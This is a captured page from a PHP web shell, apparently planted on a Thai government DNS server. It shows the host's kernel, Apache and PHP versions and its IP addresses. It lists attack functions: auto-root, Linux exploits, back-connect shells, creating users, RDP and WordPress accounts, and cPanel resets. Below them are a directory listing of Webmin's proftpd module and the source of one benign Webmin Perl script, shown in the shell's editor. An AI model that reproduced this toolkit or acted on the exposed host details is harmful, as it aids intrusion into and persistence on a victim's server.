Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
proftpd /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
484
B
-rw-r--r--
allmanual_form.cgi
1.09
KB
-rwxr-xr-x
allmanual_save.cgi
652
B
-rwxr-xr-x
anon_index.cgi
2.64
KB
-rwxr-xr-x
apply.cgi
349
B
-rwxr-xr-x
backup_config.pl
797
B
-rwxr-xr-x
config
179
B
-rw-r--r--
config-Amazon-Linux-2-ALL
258
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
258
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
258
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
258
B
-rw-r--r--
config-Ubuntu-Linux
235
B
-rw-r--r--
config-cobalt-linux
157
B
-rw-r--r--
config-coherent-linux
157
B
-rw-r--r--
config-debian-linux
227
B
-rw-r--r--
config-debian-linux-4.0-ALL
235
B
-rw-r--r--
config-freebsd
173
B
-rw-r--r--
config-freebsd-8-ALL
269
B
-rw-r--r--
config-gentoo-linux
165
B
-rw-r--r--
config-mandrake-linux
219
B
-rw-r--r--
config-msc-linux
157
B
-rw-r--r--
config-open-linux
157
B
-rw-r--r--
config-redhat-linux
222
B
-rw-r--r--
config-redhat-linux-10.0-23.0
262
B
-rw-r--r--
config-redhat-linux-24.0-ALL
274
B
-rw-r--r--
config-slackware-linux
157
B
-rw-r--r--
config-sol-linux
195
B
-rw-r--r--
config-suse-linux
227
B
-rw-r--r--
config-syno-linux
179
B
-rw-r--r--
config-trustix-linux
227
B
-rw-r--r--
config-turbo-linux
237
B
-rw-r--r--
config-united-linux
227
B
-rw-r--r--
config.info
803
B
-rw-r--r--
config.info.ca
952
B
-rw-r--r--
config.info.ca.UTF-8
970
B
-rw-r--r--
config.info.cz
673
B
-rw-r--r--
config.info.cz.UTF-8
720
B
-rw-r--r--
config.info.de
959
B
-rw-r--r--
config.info.de.UTF-8
959
B
-rw-r--r--
config.info.es
239
B
-rw-r--r--
config.info.es.UTF-8
241
B
-rw-r--r--
config.info.fa
801
B
-rw-r--r--
config.info.fr
836
B
-rw-r--r--
config.info.fr.UTF-8
836
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
789
B
-rw-r--r--
config.info.ja_JP.euc
602
B
-rw-r--r--
config.info.ko_KR.UTF-8
686
B
-rw-r--r--
config.info.ko_KR.euc
547
B
-rw-r--r--
config.info.nl
662
B
-rw-r--r--
config.info.nl.UTF-8
662
B
-rw-r--r--
config.info.no
638
B
-rw-r--r--
config.info.no.UTF-8
638
B
-rw-r--r--
config.info.pl
682
B
-rw-r--r--
config.info.pl.UTF-8
696
B
-rw-r--r--
config.info.pt_BR
901
B
-rw-r--r--
config.info.pt_BR.UTF-8
877
B
-rw-r--r--
config.info.ru.UTF-8
349
B
-rw-r--r--
config.info.ru_RU
243
B
-rw-r--r--
config.info.ru_RU.UTF-8
349
B
-rw-r--r--
config.info.ru_SU
243
B
-rw-r--r--
config.info.uk_UA
259
B
-rw-r--r--
config.info.uk_UA.UTF-8
362
B
-rw-r--r--
config.info.zh_TW.Big5
337
B
-rw-r--r--
config.info.zh_TW.UTF-8
410
B
-rw-r--r--
create_dir.cgi
1.08
KB
-rwxr-xr-x
create_ftpaccess.cgi
784
B
-rwxr-xr-x
create_limit.cgi
1.16
KB
-rwxr-xr-x
create_virt.cgi
1.01
KB
-rwxr-xr-x
delete_ftpaccess.cgi
408
B
-rwxr-xr-x
dir_index.cgi
2.67
KB
-rwxr-xr-x
edit_anon.cgi
1.13
KB
-rwxr-xr-x
edit_aserv.cgi
2.03
KB
-rwxr-xr-x
edit_dir.cgi
2.07
KB
-rwxr-xr-x
edit_dserv.cgi
2.11
KB
-rwxr-xr-x
edit_ftpaccess.cgi
1.07
KB
-rwxr-xr-x
edit_ftpusers.cgi
589
B
-rwxr-xr-x
edit_global.cgi
1011
B
-rwxr-xr-x
edit_limit.cgi
3.77
KB
-rwxr-xr-x
edit_lserv.cgi
4.19
KB
-rwxr-xr-x
edit_net.cgi
777
B
-rwxr-xr-x
edit_virt.cgi
1020
B
-rwxr-xr-x
edit_vserv.cgi
1.37
KB
-rwxr-xr-x
feedback_files.pl
126
B
-rwxr-xr-x
find_ftpaccess.cgi
1
KB
-rwxr-xr-x
ftpaccess.cgi
1.37
KB
-rwxr-xr-x
ftpaccess_index.cgi
1.81
KB
-rwxr-xr-x
index.cgi
8.11
KB
-rwxr-xr-x
install_check.pl
429
B
-rwxr-xr-x
limit_index.cgi
2.9
KB
-rwxr-xr-x
log_parser.pl
3.14
KB
-rwxr-xr-x
manual_form.cgi
3.91
KB
-rwxr-xr-x
manual_save.cgi
3.14
KB
-rwxr-xr-x
mod_auth.pl
2.68
KB
-rwxr-xr-x
mod_core.pl
41.29
KB
-rwxr-xr-x
mod_ldap.pl
9.01
KB
-rwxr-xr-x
mod_log.pl
3.14
KB
-rwxr-xr-x
mod_ls.pl
4.4
KB
-rwxr-xr-x
mod_pam.pl
676
B
-rwxr-xr-x
mod_readme.pl
426
B
-rwxr-xr-x
mod_site.pl
443
B
-rwxr-xr-x
mod_unixpw.pl
1.54
KB
-rwxr-xr-x
module.info
204
B
-rw-r--r--
module.info.ca
139
B
-rw-r--r--
module.info.ca.UTF-8
153
B
-rw-r--r--
module.info.cz
23
B
-rw-r--r--
module.info.cz.UTF-8
29
B
-rw-r--r--
module.info.de
155
B
-rw-r--r--
module.info.de.UTF-8
167
B
-rw-r--r--
module.info.es
25
B
-rw-r--r--
module.info.es.UTF-8
31
B
-rw-r--r--
module.info.fr
24
B
-rw-r--r--
module.info.fr.UTF-8
30
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.UTF-8
36
B
-rw-r--r--
module.info.ja_JP.UTF-8
35
B
-rw-r--r--
module.info.ja_JP.euc
30
B
-rw-r--r--
module.info.ko_KR.UTF-8
32
B
-rw-r--r--
module.info.ko_KR.euc
28
B
-rw-r--r--
module.info.ms_MY
154
B
-rw-r--r--
module.info.ms_MY.UTF-8
166
B
-rw-r--r--
module.info.nl
23
B
-rw-r--r--
module.info.nl.UTF-8
29
B
-rw-r--r--
module.info.no
22
B
-rw-r--r--
module.info.no.UTF-8
28
B
-rw-r--r--
module.info.pl
29
B
-rw-r--r--
module.info.pl.UTF-8
35
B
-rw-r--r--
module.info.pt_BR
28
B
-rw-r--r--
module.info.pt_BR.UTF-8
34
B
-rw-r--r--
module.info.ru.UTF-8
34
B
-rw-r--r--
module.info.ru_RU
25
B
-rw-r--r--
module.info.ru_RU.UTF-8
37
B
-rw-r--r--
module.info.ru_SU
25
B
-rw-r--r--
module.info.zh_TW.Big5
29
B
-rw-r--r--
proftpd-lib.pl
23.41
KB
-rwxr-xr-x
save_anon.cgi
594
B
-rwxr-xr-x
save_aserv.cgi
1.7
KB
-rwxr-xr-x
save_dir.cgi
874
B
-rwxr-xr-x
save_dserv.cgi
1.37
KB
-rwxr-xr-x
save_ftpaccess.cgi
486
B
-rwxr-xr-x
save_ftpusers.cgi
342
B
-rwxr-xr-x
save_global.cgi
529
B
-rwxr-xr-x
save_limit.cgi
1.02
KB
-rwxr-xr-x
save_lserv.cgi
1.79
KB
-rwxr-xr-x
save_virt.cgi
496
B
-rwxr-xr-x
save_vserv.cgi
1.55
KB
-rwxr-xr-x
start.cgi
223
B
-rwxr-xr-x
stop.cgi
207
B
-rwxr-xr-x
userpermissions_form.cgi
16.7
KB
-rwxr-xr-x
virt_index.cgi
2.62
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : userpermissions_form.cgi
#!/usr/bin/perl # userpermissions_form.cgi # Display a the list of users and their permissions # Author: Mattias Gaertner # # Abstract: # - Allows editing the user permissions for a directory with an # .ftpaccess file. # - It has a select field to easily add a user to the .ftpaccess file. # - Shows a list of users with their permissions. # - Provides minimum allowed commands (at the moment hardcoded in # $MiniumCommands). # These commands will applied to any new and changed permissions. # - Shows names instead of the hard to remember FTP abbreviations # (e.g. PBSZ). # - Commands can be combined. For example: RNFR and RNTO are shown # as only one permission. # - adds automatically a DenyAll All limit, so the default is to allow # nothing. # # ToDos: # - multi language support # - a page to config the minimum commands # - a page to config the tuples (combined commands) # - Probably some functions already exists in webmin and can be replaced require './proftpd-lib.pl'; &ReadParse(); # read .ftpaccess file $file = $in{'file'}; $title = &text('ftpindex_header', "<tt>$in{'file'}</tt>"); $return = "ftpaccess_index.cgi"; $rmsg = $text{'ftpindex_return'}; &ui_print_header($title, "Edit User Permissions", "", undef, undef, undef, undef, &restart_button()); ######################################### # Navigation parameters foreach $h ('virt', 'idx', 'file', 'limit', 'anon', 'global') { if (defined($in{$h})) { $NavigationData.="<input type=hidden name=$h value='$in{$h}'>\n"; push(@args, "$h=$in{$h}"); } } $args = join('&', @args); # These are the FTP Commands, that any user have $MinimumCommands="CWD XCWD CDUP XCUP PORT PASS PASV EPRT EPSV" ." PWD XPWD SIZE HELP NOOP AUTH ABORT USER LIST TYPE PROT QUIT PBSZ MDTM MODE"; $Commands{"CWD"}="Change working directory"; $Commands{"XCWD"}=""; $Commands{"CDUP"}=""; $Commands{"XCUP"}=""; $Commands{"PORT"}=""; $Commands{"PASV"}="enter passive mode"; $Commands{"EPRT"}=""; $Commands{"EPSV"}=""; $Commands{"RNFR"}="Rename From"; $Commands{"RNTO"}="Rename To"; $Commands{"DELE"}="Delete File"; $Commands{"RMD"}="Remove Directory"; $Commands{"XRMD"}="X Remove Directory"; $Commands{"MKD"}="Create Directory"; $Commands{"XMKD"}="X Create Directory"; $Commands{"MODE"}=""; $Commands{"PWD"}=""; $Commands{"XPWD"}=""; $Commands{"SIZE"}=""; $Commands{"SITE_CHMOD"}="Change Unix File Permissions"; $Commands{"STAT"}="Return Server Status"; $Commands{"SYST"}="Prints System Info"; $Commands{"HELP"}=""; $Commands{"NOOP"}=""; $Commands{"AUTH"}=""; $Commands{"PBSZ"}=""; $Commands{"PROT"}=""; $Commands{"TYPE"}="Set Transfer Type"; $Commands{"MODE"}="Set Transfer Mode"; $Commands{"MDTM"}="List Modification Time"; $Commands{"RETR"}="Retrieve (Read)"; $Commands{"STOR"}="Store (Write)"; $Commands{"STOU"}="Store Unique"; $Commands{"APPE"}="Append"; $Commands{"REST"}="Restart Write"; $Commands{"ABOR"}="Abort"; $Commands{"USER"}=""; $Commands{"PASS"}=""; $Commands{"LIST"}="List remote files"; $Commands{"QUIT"}=""; $Commands{"TupleRMD"} = "Remove Directory"; $Commands{"TupleMKD"} = "Make Directory"; $Commands{"TupleRN"} = "Rename"; $Commands{"TuplePWD"} = "Print Working Directory"; # Not implemented by proftpd: #$Commands{"STRU"}="Specify File Structure"; # Here you can group commands $CommandTuples{"TupleRMD"} = "RMD XRMD"; $CommandTuples{"TupleMKD"} = "MKD XMKD"; $CommandTuples{"TupleRN"} = "RNFR RNTO"; $CommandTuples{"TuplePWD"} = "PWD XPWD"; # Create CommandToTuple array foreach $TupleName(sort keys %CommandTuples){ foreach $Command(split (" ",$CommandTuples{$TupleName})){ next unless ($Command); $CommandToTuple{$Command}=$TupleName; } } ######################################### # Get user list and read old permissions &GetUsers(); &GetFTPAccessUserPerms($file); ######################################### # Parse Input and update .ftpaccess file foreach $ParamName(keys %in){ #print "Name=\"$ParamName\" Value=\"".$in{$ParamName}."\"<br>\n"; if($ParamName eq "AddUser"){ $Username=$in{$ParamName}; if($Username =~ /^[a-zA-Z0-9_]+$/){ &AddUser($Username,$file); } } if($ParamName eq "DeleteUser"){ $Username=$in{$ParamName}; if($Username =~ /^[a-zA-Z0-9_]+$/){ if($in{"Confirm Delete User"} eq "on"){ &DeleteUser($Username,$file); #print "New used usernames: $UsedUsernames<br>\n"; } else { print "<H2>To really delete a user, please check the confim checkbox.</H2>\n"; } } } if($ParamName eq "ChangePermissions"){ $Username=$in{$ParamName}; if($Username =~ /^[a-zA-Z0-9_]+$/){ &ChangePermissions($Username,$file); } } } ######################################### # select box and button for add user print "<form action=userpermissions_form.cgi method=get>\n"; print $NavigationData; print "<H3>Add an User to the permission table</H3>\n"; print "<select name=\"AddUser\">\n"; foreach $Username (sort split(" ",$Usernames)){ print "<option value=\"$Username\">$Username</option>\n"; } print "</select>\n"; print "<input type=submit value=\"Add User\"><br>\n"; print "</form>\n"; ######################################### # Print Permissions $MaxColumns=4; foreach $Username(sort split (" ",$UsedUsernames)){ #print "User: $Username Allowed=\"".$UserAllowedCommands{$Username}."\" Denied=\"".$UserDeniedCommands{$Username}."\"\n"; print "<form action=userpermissions_form.cgi method=get>\n"; print $NavigationData; print "<input type=hidden name=\"ChangePermissions\" value=\"".$Username."\">\n"; print "<HR WIDTH=\"100%\">\n"; print "<H2>User: $Username</H2>\n"; print "<table border=1>\n"; $Column=0; $Row=0; foreach $Command(sort keys %Commands){ if($MinimumCommands =~ /$Command/i){ # skip minimum permissions, that all users are allowed to next; } if($CommandToTuple{$Command}){ # skip commands that belong to a tuple next; } $FTPCommands=$Command; if($CommandTuples{$FTPCommands}){ $FTPCommands = $CommandTuples{$FTPCommands}; } if($Column == 0){ if($Row==0){ print " <tr>\n"; for ($i=0; $i<$MaxColumns; $i++){ print " <td>Command</td><td>Allow/Deny/Default</td>\n"; } print " </tr>\n"; } print " <tr>\n"; } $CommandDesc=$Commands{$Command}; if(!$CommandDesc){ $CommandDesc = $Command; } print " <td>$CommandDesc</td><td>\n"; if(&CommandContains($UserAllowedCommands{$Username},$FTPCommands)){ $AllowChecked=" checked"; } else { $AllowChecked=""; } if(&CommandContains($UserDeniedCommands{$Username},$FTPCommands)){ $DenyChecked=" checked"; } else { $DenyChecked=""; } if($AllowChecked || $DenyChecked){ $DefaultChecked = ""; } else { $DefaultChecked = " checked"; } print " <input type=\"radio\" name=\"".$Command."\" value=\"allow\"".$AllowChecked.">\n"; print " <input type=\"radio\" name=\"".$Command."\" value=\"deny\"".$DenyChecked.">\n"; print " <input type=\"radio\" name=\"".$Command."\" value=\"default\"".$DefaultChecked.">\n"; print " </td>"; $Column++; if($Column == $MaxColumns){ print " </tr>\n"; $Column=0; $Row++; } } if($Column > 0){ print " </tr>\n"; } print "</table>\n"; print "<input type=submit value=\"Change Permissions\">\n"; print "</form><br>\n"; print "<form action=userpermissions_form.cgi method=get>\n"; print $NavigationData; print "<input type=hidden name=\"DeleteUser\" value=\"".$Username."\">\n"; print "<input type=submit value=\"Delete User Permissions\">\n"; print "<input type=checkbox name=\"Confirm Delete User\">I'm sure<br>\n"; print "</form>\n"; } ######################################### # print textarea print "<HR WIDTH=100%>\n"; print &text('manual_header', "<tt>$file</tt>"),"<p>\n"; print "<form action=manual_save.cgi method=post enctype=multipart/form-data>\n"; print $NavigationData; print "<br><textarea rows=15 cols=80 name=directives>\n"; $lref = &read_file_lines($file); if (!defined($start)) { $start = 0; $end = @$lref - 1; } for($i=$start; $i<=$end; $i++) { print &html_escape($lref->[$i]),"\n"; } print "</textarea><br><input type=submit value=\"$text{'save'}\"></form>\n"; ######################################### # print footer &ui_print_footer("$return?$args", $rmsg); exit; ######################################################### sub GetUsers(){ my $UserCount=0; setpwent(); while(my @uinfo = getpwent()) { if ($uinfo[2] > 100) { $UserCount++; $Users[$UserCount]=$uinfo[0]; $Usernames.=" ".$uinfo[0]; } } endpwent(); } sub GetFTPAccessUserPerms(){ # Fills global variables: # $UsedUsernames, %UserAllowedCommands, %UserDeniedCommands my ($FTPAccessFile) = @_; ################################################## # Read .ftpaccess file my $Commands = ""; open FTPACCESS, "$FTPAccessFile" or &error("Can't open $FTPAccessFile: $!"); while (my $line=<FTPACCESS>){ chomp $line; #print $line."\n"; if($line =~ /<Limit (.*)>/i){ $Commands = $1; #print "Limit $Commands\n"; } if($line =~ /<\/Limit(.*)>/i){ $Commands = ""; #print "End Limit $Commands\n"; } if($Commands){ #print "$line\n"; if($line =~ /AllowUser (.+)/i){ my $AllowedUsernames = $1; #print "AllowUser $AllowedUsernames\n"; foreach $AllowedUsername (split (" ",$AllowedUsernames)){ next unless ($AllowedUsername); $UserAllowedCommands{$AllowedUsername}.=" ".$Commands; #print "AllowUser $AllowedUsername\n"; } } if($line =~ /DenyUser (.+)/i){ my $DeniedUsernames = $1; foreach $DeniedUsername (split (" ",$DeniedUsernames)){ next unless ($DeniedUsername); $UserDeniedCommands{$DeniedUsername}.=" ".$Commands; } } } } close FTPACCESS; ################################################## # collect all mentioned users in table $UsedUsernames=""; foreach $Username(keys %UserAllowedCommands){ #print "Adding $Username\n"; $UserAllowedCommands{$Username}= &UnifyAndExpandCommands($UserAllowedCommands{$Username}." ".$Commands); if($UsedUsernames !~ /\b$Username\b/){ $UsedUsernames.=$Username." "; } } foreach $Username(keys %UserDeniedCommands){ $UserDeniedCommands{$Username}= &UnifyAndExpandCommands($UserDeniedCommands{$Username}." ".$Commands); if($UsedUsernames !~ /\b$Username\b/){ $UsedUsernames.=$Username." "; } } } sub UnifyAndExpandCommands(){ (my $Commands) = @_; my $NewCommands = ""; foreach $Command(split(" ",$Commands)){ next unless($Command); if($CommandTuples{$Command}){ $NewCommands.=" ".$CommandTuples{$Command}; } else { $NewCommands.=" ".$Command; } } return &UnifyCommands($NewCommands); } sub UnifyCommands(){ (my $Commands) = @_; my $NewCommands = ""; foreach $Command(split(" ",$Commands)){ next unless($Command); next if($NewCommands =~ /\b$Command\b/i); if($NewCommands){ $NewCommands.=" "; } $NewCommands.=$Command; } return $NewCommands; } sub AddUser(){ (my $Username, $FTPAccessFile) = @_; if($Usernames =~ /\b$Usernames\b/){ print "<H2>Username $Username does not exist.</H2>\n"; return; } if ($UserAllowedCommands{$Username} || $UserDeniedCommands{$Username}){ # user already exists print "<H2>Username $Username already exists.</H2>\n"; return; } $UserAllowedCommands{$Username}=$MinimumCommands; $UserDeniedCommands{$Username}=""; if($UsedUsernames !~ /\b$Username\b/){ $UsedUsernames.=$Username." "; } &WritePermissions($FTPAccessFile); } sub DeleteUser(){ (my $Username, $FTPAccessFile) = @_; if($UsedUsernames =~ /\b$Usernames\b/){ print "<H2>Username $Username does not exist in table.</H2>\n"; return; } if ((!$UserAllowedCommands{$Username}) && (!$UserDeniedCommands{$Username})){ # user already deleted print "<H2>Username $Username is already not in table.</H2>\n"; return; } $UserAllowedCommands{$Username}=""; $UserDeniedCommands{$Username}=""; $UsedUsernames =~ s/\b$Username\b *//; &WritePermissions($FTPAccessFile); } sub ChangePermissions(){ (my $Username, $FTPAccessFile) = @_; if($UsedUsernames =~ /\b$Usernames\b/){ print "<H2>Username $Username does not exist in table.</H2>\n"; return; } foreach $Command(keys %Commands){ #print "$Command value=".$in{$Command}."<br>\n"; if($CommandToTuple{$Command}){ # skip commands in tuples next; } my $FTPCommands=$Command; if($CommandTuples{$FTPCommands}){ $FTPCommands = $CommandTuples{$FTPCommands}; } if ($in{$Command} eq "allow"){ $UserAllowedCommands{$Username}.=" ".$FTPCommands; #print "Allow $Username $Command<br>\n"; } else { $UserAllowedCommands{$Username} = &RemoveCommands($UserAllowedCommands{$Username},$FTPCommands); } if ($in{$Command} eq "deny"){ $UserDeniedCommands{$Username}.=" ".$FTPCommands; #print "Deny $Username $Command<br>\n"; } else { $UserDeniedCommands{$Username} = &RemoveCommands($UserDeniedCommands{$Username},$FTPCommands); } } $UserAllowedCommands{$Username}= &UnifyCommands($MinimumCommands." ".$UserAllowedCommands{$Username}); $UserDeniedCommands{$Username}= &UnifyCommands($UserDeniedCommands{$Username}); &WritePermissions($FTPAccessFile); } sub WritePermissions(){ # Read .ftpaccess file, remove all user command permissions # and add new set of user permissions (my $FTPAccessFile) = @_; my $NewConfig = ""; my $OldCommands = ""; my $Username; # Lock .ftpaccess file &lock_file($FTPAccessFile); &lock_file($FTPAccessFile); # Read old .ftpaccess file open FTPACCESS, "$FTPAccessFile" or die "Can't read $FTPAccessFile: $!"; $DenyAllBlockFound = 0; while(my $line = <FTPACCESS>){ my $ShortLine = $line; chomp $ShortLine; #print $ShortLine."\n"; if($ShortLine =~ /<Limit (.*)>/i){ # start of Limit block $OldCommands = $1; #print "Limit $OldCommands\n"; $LimitBlock = $line; $ImportantLimitLineFound = 0; $DenyAllFound = 0; } elsif($ShortLine =~ /<\/Limit(.*)>/i){ # end of Limit block #print "End Limit $OldCommands\n"; $LimitBlock .= $line; if($ImportantLimitLineFound){ $NewConfig .= $LimitBlock; } if(($OldCommands =~ /\bALL\b/i) && ($DenyAllFound)){ # this was a DenyAll for All commands block $DenyAllBlockFound = 1; } $OldCommands = ""; } elsif($OldCommands){ #print "$ShortLine\n"; if($ShortLine =~ /AllowUser (.*)/i){ # AllowUser line -> will be replaced, not important } elsif($ShortLine =~ /DenyUser (.*)/i){ # DenyUser line -> will be replaced, not important } elsif($ShortLine =~ /^ +$/){ # empty line -> not important, but keep it for readability $LimitBlock .= $line; } else { # other limit directive -> important $LimitBlock .= $line; $ImportantLimitLineFound = 1; if($ShortLine =~ /\bDenyAll\b/i){ $DenyAllFound = 1; } } } else { # other directives -> keep $NewConfig .= $line; } } close FTPACCESS; # Append new directives # Append DenyAll block if not already there if(!$DenyAllBlockFound){ $NewConfig.="<Limit All>\n"; $NewConfig.=" DenyAll\n"; $NewConfig.="</Limit>\n"; } # Append Limit blocks for users foreach $Username (sort split(" ",$Usernames)){ my $CurAllow = $UserAllowedCommands{$Username}; if ($CurAllow){ $NewConfig.="<Limit ".$CurAllow.">\n"; $NewConfig.=" AllowUser ".$Username."\n"; $NewConfig.="</Limit>\n"; } my $CurDeny = $UserDeniedCommands{$Username}; if ($CurDeny){ $NewConfig.="<Limit ".$CurDeny.">\n"; $NewConfig.=" DenyUser ".$Username."\n"; $NewConfig.="</Limit>\n"; } } #print "<br>\n".$NewConfig."<br>\n"; # Write new .ftpaccess file open FTPACCESS, "> $FTPAccessFile" or die "Can't append to $FTPAccessFile: $!"; print FTPACCESS $NewConfig; close FTPACCESS; # Unlock .ftpaccess file &unlock_file($FTPAccessFile); $logtype = 'ftpaccess'; $logname = $in{'file'}; &webmin_log($logtype, "user permissions", $logname, \%in); } sub CommandContains(){ (my $Commands, my $SubSet) = @_; foreach my $Command(split(" ",$SubSet)){ next unless($Command); if($Commands =~ /\b$Command\b/i){ return 1; } } return 0; } sub RemoveCommands(){ (my $Commands, my $SubSet) = @_; foreach my $Command(split(" ",$SubSet)){ next unless($Command); $Commands =~ s/\b$Command\b *//gi; } return $Commands; } # end.
Close